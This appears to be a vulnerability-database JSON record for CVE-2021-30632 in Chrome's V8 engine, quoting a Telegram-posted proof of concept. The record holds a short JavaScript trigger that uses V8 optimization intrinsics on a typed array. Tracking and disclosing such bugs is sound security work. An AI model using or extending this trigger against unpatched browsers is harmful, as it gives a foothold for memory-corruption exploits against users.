{"uuid": "10f39738-328c-4448-bc4c-e1d060567133", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/1457", "content": "CVE-2021-30632 #Chrome #0day #PoC \n\nvar a;\nfunction foo() {\n    a = new Uint32Array(100);\n}\n%PrepareFunctionForOptimization(foo);\nfoo();\nfoo();\na[\"xxx\"] =1;\ndelete a[\"xxx\"];\n%OptimizeFunctionOnNextCall(foo);\nfoo();", "creation_timestamp": "2026-08-10T00:00:10.935581Z"}